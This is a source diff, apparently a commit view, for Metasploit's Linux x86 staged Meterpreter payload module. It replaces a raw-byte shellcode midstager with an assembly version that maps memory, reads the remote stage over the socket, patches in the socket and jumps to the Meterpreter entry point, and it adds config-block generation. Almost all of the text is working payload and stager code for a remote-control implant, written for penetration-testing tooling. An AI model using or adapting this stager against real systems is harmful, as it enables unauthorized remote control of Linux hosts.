@@ -17,8 +17,8 @@ module Metasploit3
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
19
'Name' => 'Linux Meterpreter' ,
20
- 'Description' => 'Staged meterpreter server' ,
21
- 'Author' => [ 'PKS' , 'egypt' ] ,
20
+ 'Description' => 'Inject the meterpreter server payload (staged) ' ,
21
+ 'Author' => [ 'PKS' , 'egypt' , 'OJ Reeves' ] ,
22
22
'Platform' => 'linux' ,
23
23
'Arch' => ARCH_X86 ,
24
24
'License' => MSF_LICENSE ,
@@ -35,6 +35,7 @@ def elf_ep(payload)
35
35
return ep
36
36
end
37
37
38
+ =begin
38
39
def elf2bin(payload)
39
40
# XXX, not working. Use .c version
40
41
@@ -64,31 +65,76 @@ def elf2bin(payload)
64
65
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
65
66
return mem[0, used]
66
67
end
68
+ =end
67
69
68
70
def handle_intermediate_stage ( conn , payload )
69
- # Does a mmap() / read() loop of a user specified length, then
70
- # jumps to the entry point (the \x5a's)
71
-
72
- midstager = "\x81 \xc4 \x54 \xf2 \xff \xff " # fix up esp
73
-
74
- midstager <<
75
- "\x6a \x04 \x5a \x89 \xe1 \x89 \xfb \x6a \x03 \x58 " +
76
- "\xcd \x80 \x57 \xb8 \xc0 \x00 \x00 \x00 \xbb \x00 \x00 \x04 \x20 \x8b \x4c \x24 " +
77
- "\x04 \x6a \x07 \x5a \x6a \x32 \x5e \x31 \xff \x89 \xfd \x4f \xcd \x80 \x3d \x7f " +
78
- "\xff \xff \xff \x72 \x05 \x31 \xc0 \x40 \xcd \x80 \x87 \xd1 \x87 \xd9 \x5b \x6a " +
79
- "\x03 \x58 \xcd \x80 \x3d \x7f \xff \xff \xff \x77 \xea \x85 \xc0 \x74 \xe6 \x01 " +
80
- "\xc1 \x29 \xc2 \x75 \xea \x6a \x59 \x53 \xb8 \x5a \x5a \x5a \x5a \xff \xd0 \xe9 " +
81
- "\xd1 \xff \xff \xff "
71
+ entry_offset = elf_ep ( payload )
72
+ config_offset = payload . length - generate_meterpreter . length
82
73
83
-
84
- # Patch in debug options
85
- midstager = midstager . sub ( "Y" , [ datastore [ 'DebugOptions' ] ] . pack ( 'C' ) )
86
-
87
- # Patch entry point
88
- midstager = midstager . sub ( "ZZZZ" , [ elf_ep ( payload ) ] . pack ( 'V' ) )
74
+ encoded_entry = "0x%.8x" % entry_offset
75
+ encoded_offset = "0x%.8x" % config_offset
76
+ encoded_debug_options = "0x%.2x" % datastore [ 'DebugOptions' ] . to_i
89
77
90
78
# Maybe in the future patch in base.
91
79
80
+ # Does a mmap() / read() loop of a user specified length, then
81
+ # jumps to the entry point (the \x5a's)
82
+ midstager_asm = %Q^
83
+ midstager:
84
+ and esp, 0xFFFFF254
85
+ push 0x4
86
+ pop edx
87
+ mov ecx, esp
88
+ mov ebx, edi
89
+ push 0x3
90
+ pop eax
91
+ int 0x80
92
+ push edi
93
+ mov eax, 0xC0
94
+ mov ebx, 0x20040000
95
+ mov ecx, dword ptr [esp+0x4]
96
+ push 0x7
97
+ pop edx
98
+ push 0x32
99
+ pop esi
100
+ xor edi, edi
101
+ mov ebp, edi
102
+ dec edi
103
+ int 0x80
104
+ cmp eax, 0xFFFFFF7F
105
+ jb start_read
106
+ terminate:
107
+ xor eax, eax
108
+ inc eax
109
+ int 0x80 ; sys_exit
110
+ start_read:
111
+ xchg ecx, edx
112
+ xchg ecx, ebx
113
+ pop ebx
114
+ read_loop:
115
+ push 0x3
116
+ pop eax
117
+ int 0x80 ; sys_read
118
+ cmp eax, 0xFFFFFF7F
119
+ ja terminate ; exit on error
120
+ test eax, eax
121
+ je terminate ; exit on error
122
+ add ecx, eax
123
+ sub edx, eax
124
+ jne read_loop ; read more
125
+ ; edx should be at the end, but we need to adjust for the size of the config
126
+ ; block so we know where to write the socket to memory
127
+ sub ecx, #{ encoded_offset }
128
+ mov [ecx], ebx ; write the socket to the config
129
+ push #{ encoded_debug_options }
130
+ push ecx ; pass in the configuration pointer
131
+ mov eax, #{ encoded_entry } ; put the entry point in eax
132
+ call eax
133
+ jmp terminate
134
+ ^
135
+
136
+ midstager = Metasm ::Shellcode . assemble ( Metasm ::X86 . new , midstager_asm ) . encode_string
137
+
92
138
print_status ( "Transmitting intermediate stager for over-sized stage...(#{ midstager . length } bytes)" )
93
139
conn . put ( midstager )
94
140
Rex ::ThreadSafe . sleep ( 1.5 )
@@ -100,19 +146,44 @@ def handle_intermediate_stage(conn, payload)
100
146
end
101
147
102
148
def generate_stage
103
- #file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
149
+ meterpreter = generate_meterpreter
150
+ config = generate_config
151
+ meterpreter + config
152
+ end
153
+
154
+ def generate_meterpreter
104
155
file = File . join ( Msf ::Config . data_directory , "meterpreter" , "msflinker_linux_x86.bin" )
105
156
106
157
blob = File . open ( file , "rb" ) { |f |
107
158
f . read ( f . stat . size )
108
159
}
109
160
110
- Rex ::Payloads ::Meterpreter ::Patch . patch_timeouts! ( blob ,
111
- :expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
112
- :comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
113
- :retry_total => datastore [ 'SessionRetryTotal' ] . to_i ,
114
- :retry_wait => datastore [ 'SessionRetryWait' ] . to_i )
161
+ blob
162
+ end
163
+
164
+ def generate_config ( opts = { } )
165
+ unless opts [ :uuid ]
166
+ opts [ :uuid ] = Msf ::Payload ::UUID . new ( {
167
+ :platform => 'linux' ,
168
+ :arch => ARCH_X86
169
+ } )
170
+ end
171
+
172
+ # create the configuration block, which for staged connections is really simple.
173
+ config_opts = {
174
+ :arch => opts [ :uuid ] . arch ,
175
+ :exitfunk => nil ,
176
+ :expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
177
+ :uuid => opts [ :uuid ] ,
178
+ :transports => [ generate_transport_config ( opts ) ] ,
179
+ :extensions => [ ] ,
180
+ :ascii_str => true
181
+ }
182
+
183
+ # create the configuration instance based off the parameters
184
+ config = Rex ::Payloads ::Meterpreter ::Config . new ( config_opts )
115
185
116
- return blob
186
+ # return the binary version of it
187
+ config . to_b
117
188
end
118
189
end
0 commit comments